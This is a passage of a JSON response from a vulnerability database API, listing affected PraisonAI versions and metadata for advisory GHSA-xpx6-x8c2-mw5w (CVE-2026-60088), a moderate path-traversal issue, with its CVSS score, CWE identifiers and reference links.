.21","2.3.22","2.3.23","2.3.24","2.3.25","2.3.26","2.3.27","2.3.28","2.3.29","2.3.3","2.3.30","2.3.31","2.3.32","2.3.33","2.3.34","2.3.35","2.3.36","2.3.37","2.3.38","2.3.39","2.3.4","2.3.40","2.3.41","2.3.42","2.3.43","2.3.44","2.3.45","2.3.46","2.3.47","2.3.48","2.3.49","2.3.5","2.3.50","2.3.51","2.3.52","2.3.53","2.3.54","2.3.55","2.3.56","2.3.57","2.3.58","2.3.59","2.3.6","2.3.60","2.3.61","2.3.62","2.3.63","2.3.64","2.3.65","2.3.66","2.3.67","2.3.68","2.3.69","2.3.7","2.3.70","2.3.71","2.3.72","2.3.73","2.3.74","2.3.75","2.3.76","2.3.77","2.3.78","2.3.79","2.3.8","2.3.80","2.3.81","2.3.82","2.3.83","2.3.84","2.3.85","2.3.86","2.3.87","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.5.7","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.6.6","2.6.7","2.6.8","2.7.0","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.1","2.9.2","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.19","3.10.2","3.10.20","3.10.21","3.10.22","3.10.23","3.10.24","3.10.25","3.10.26","3.10.27","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.10","3.11.11","3.11.12","3.11.13","3.11.14","3.11.2","3.11.3","3.11.4","3.11.8","3.11.9","3.12.0","3.12.1","3.12.2","3.12.3","3.2.0","3.2.1","3.3.0","3.3.1","3.4.0","3.4.1","3.5.0","3.5.1","3.5.2","3.5.3","3.5.4","3.5.5","3.5.6","3.5.7","3.5.8","3.5.9","3.6.0","3.6.1","3.6.2","3.7.0","3.7.1","3.7.2","3.7.3","3.7.4","3.7.5","3.7.6","3.7.7","3.7.8","3.7.9","3.8.0","3.8.1","3.8.10","3.8.11","3.8.12","3.8.13","3.8.14","3.8.16","3.8.17","3.8.18","3.8.19","3.8.2","3.8.20","3.8.21","3.8.22","3.8.3","3.8.4","3.8.5","3.8.6","3.8.7","3.8.8","3.8.9","3.9.0","3.9.1","3.9.10","3.9.11","3.9.12","3.9.13","3.9.14","3.9.15","3.9.16","3.9.17","3.9.18","3.9.19","3.9.2","3.9.20","3.9.21","3.9.22","3.9.23","3.9.24","3.9.25","3.9.26","3.9.27","3.9.28","3.9.29","3.9.3","3.9.30","3.9.31","3.9.32","3.9.33","3.9.34","3.9.35","3.9.4","3.9.5","3.9.6","3.9.7","3.9.8","3.9.9","4.0.0","4.1.0","4.2.0","4.2.1","4.2.2","4.2.3","4.2.4","4.3.0","4.3.1","4.4.0","4.4.10","4.4.11","4.4.12","4.4.2","4.4.3","4.4.4","4.4.5","4.4.6","4.4.7","4.4.8","4.4.9","4.5.0","4.5.1","4.5.10","4.5.100","4.5.101","4.5.102","4.5.103","4.5.104","4.5.105","4.5.106","4.5.107","4.5.108","4.5.109","4.5.11","4.5.110","4.5.111","4.5.112","4.5.113","4.5.114","4.5.115","4.5.117","4.5.118","4.5.119","4.5.12","4.5.120","4.5.121","4.5.122","4.5.123","4.5.124","4.5.125","4.5.126","4.5.127","4.5.128","4.5.129","4.5.13","4.5.130","4.5.131","4.5.132","4.5.133","4.5.134","4.5.135","4.5.136","4.5.137","4.5.139","4.5.14","4.5.140","4.5.143","4.5.144","4.5.145","4.5.149","4.5.15","4.5.16","4.5.18","4.5.19","4.5.2","4.5.20","4.5.21","4.5.22","4.5.23","4.5.24","4.5.25","4.5.26","4.5.27","4.5.28","4.5.29","4.5.3","4.5.30","4.5.31","4.5.32","4.5.33","4.5.34","4.5.35","4.5.36","4.5.37","4.5.38","4.5.39","4.5.40","4.5.41","4.5.42","4.5.43","4.5.44","4.5.45","4.5.46","4.5.48","4.5.49","4.5.5","4.5.51","4.5.52","4.5.54","4.5.55","4.5.56","4.5.57","4.5.58","4.5.59","4.5.6","4.5.60","4.5.62","4.5.63","4.5.64","4.5.65","4.5.67","4.5.68","4.5.69","4.5.7","4.5.70","4.5.71","4.5.72","4.5.73","4.5.74","4.5.76","4.5.77","4.5.78","4.5.79","4.5.8","4.5.80","4.5.81","4.5.82","4.5.83","4.5.85","4.5.87","4.5.88","4.5.89","4.5.9","4.5.90","4.5.93","4.5.94","4.5.95","4.5.96","4.5.97","4.5.98","4.6.10","4.6.11","4.6.12","4.6.13","4.6.14","4.6.15","4.6.16","4.6.18","4.6.19","4.6.20","4.6.21","4.6.22","4.6.23","4.6.24","4.6.25","4.6.26","4.6.27","4.6.28","4.6.29","4.6.30","4.6.31","4.6.32","4.6.33","4.6.34","4.6.35","4.6.36","4.6.37","4.6.38","4.6.39","4.6.40","4.6.41","4.6.42","4.6.43","4.6.44","4.6.45","4.6.46","4.6.47","4.6.48","4.6.50","4.6.51","4.6.52","4.6.53","4.6.54","4.6.55","4.6.56","4.6.57","4.6.58","4.6.59","4.6.60","4.6.62","4.6.63","4.6.64","4.6.65","4.6.67","4.6.68","4.6.70","4.6.71","4.6.72","4.6.74","4.6.75","4.6.77","4.6.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-xpx6-x8c2-mw5w/GHSA-xpx6-x8c2-mw5w.json","last_known_affected_version_range":"<= 4.6.77"}}],"modified":"2026-10-08T18:15:04.224975611Z","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N"}],"published":"2026-10-08T17:57:49Z","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xpx6-x8c2-mw5w","type":"WEB"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-60088","type":"ADVISORY"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab","type":"WEB"},{"url":"https://github.com/MervinPraison/PraisonAI","type":"PACKAGE"},{"url":"https://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-custom-commands","type":"WEB"}],"schema_version":"1.9.0","database_specific":{"cwe_ids":["CWE-200","CWE-22"],"severity":"MODERATE","github_reviewed":true,"nvd_published_at":null,"github_reviewed_at":"2026-10-08T17:57:49Z"}}}],"pagination":{"page":1,"limit":20,"total":1,"totalPages":1,"hasNext":false,"hasPrev":false}},"meta":{"apiVersion":"v1","requestedAt":"2026-10-08T23:14:34.777Z","durationMs":10,"filters":{"search":null,"severity":[],"type":[],"country":[],"tag":[],"cwe":[],"vendor":null,"product":null,"cve":"CVE-2026-60088","source":[],"days":null,"publishedAfter":null,"publishedBefore":null,"minCvss":null,"maxCvss":null,"minEpss":null,"knownExploited":null,"hasPatch":null,"hasNucleiTemplate":null},"sort":"newest","unknownParams":["include"],"warnings":[]}}